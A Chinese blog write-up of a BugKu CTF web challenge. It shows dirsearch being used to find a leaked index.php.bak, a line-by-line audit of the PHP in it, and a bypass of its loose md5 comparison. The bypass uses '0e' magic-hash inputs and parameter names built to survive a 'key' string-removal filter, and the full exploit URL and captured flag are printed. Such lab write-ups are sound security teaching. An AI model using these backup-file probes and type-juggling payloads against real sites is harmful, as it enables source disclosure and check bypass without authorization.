BugKu-WEB-备份是个好习惯

BugKu-WEB-备份是个好习惯

Mel0ny Lv5

BugKu-WEB-备份是个好习惯

题目

Question
Question

思路

可以看到网页就只有一串编码,用ciphey和赛博大厨解码啥都没发现,f12看什么也没有,看到题目想到寻找备份文件,直接猜一波.bak后缀文件,使用dirsearch命令搜索服务器的文件

1
dirsearch -u http://117.72.52.127:12255/

Question

在等待的时候可以自己试试,比如说index.php.bakflag.php.bak等等(我第一次还真就直接猜出了index.php.bak

可以看到自动下载了index.php.bak,用mousepad打开发现是一串php代码,直接开始代码审计

Question

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>

可以先去看一下相关的文档
可以看到这个php使用include_once引用了一次flag.php,这个时候我们先去去看看flag.php,发现什么都没有,再继续分析
第二行是使用ini_set()是消除报错,防止泄露信息
第三行是使用strstr()查找’?’第一次出现的位置,截取以’?’之后的值,然后把值赋str
第四行是使用substr()去掉第一位也就是’?’
第五行是使用str_replace把关键词key换成空字符
第六行是使用parse_str把查询到的值换成变量
接下来就是比较key1和key2的值,如果key1的转换成md5的值弱等于key2转换成md5的值,并且key1不等于key2,获得flag
此时又是一个矛盾问题,但关键还在于弱比较
查询资料可知,php在弱比较的时候,会将0exxxx当成科学计数法来比较,也就是0的n次方,为0,此时只要传入两个以0e开头的md5就可以绕过限制了,由于md5加密是不可逆的,所以只能查询资料找到0e开头的md5,再考虑之前将key值换成空字符,可以穿入以下数据

1
http://117.72.52.127:12255/?kkeyey1=QNKCDZO&kkeyey2=s878926199a

数据进入程序中,先删去key值,变成key1=QNKCDZOkey2=s878926199a,再把他们变成变量去进行若比较,最后得到flag

Question

Flag

1
flag{1b4c5c66fc03525b4b9e49fb85dd46ce}
  • 标题: BugKu-WEB-备份是个好习惯
  • 作者: Mel0ny
  • 创建于 : 2025-08-29 14:47:06
  • 更新于 : 2025-08-29 21:26:56
  • 链接: https://mel0nyrame.github.io/2025/08/29/BugKu-WEB-备份是个好习惯/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
BugKu-WEB-备份是个好习惯